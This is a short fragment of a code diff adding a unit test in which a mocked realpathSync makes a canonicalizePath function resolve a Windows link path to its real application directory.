+ realpathSync.mockReturnValueOnce("C:\\real\\app");
115
+ expect(canonicalizePath("C:\\projects\\link", "win32")).toBe(
116
+ "C:\\real\\app",
117
+ );
118
+ });
93
119
  });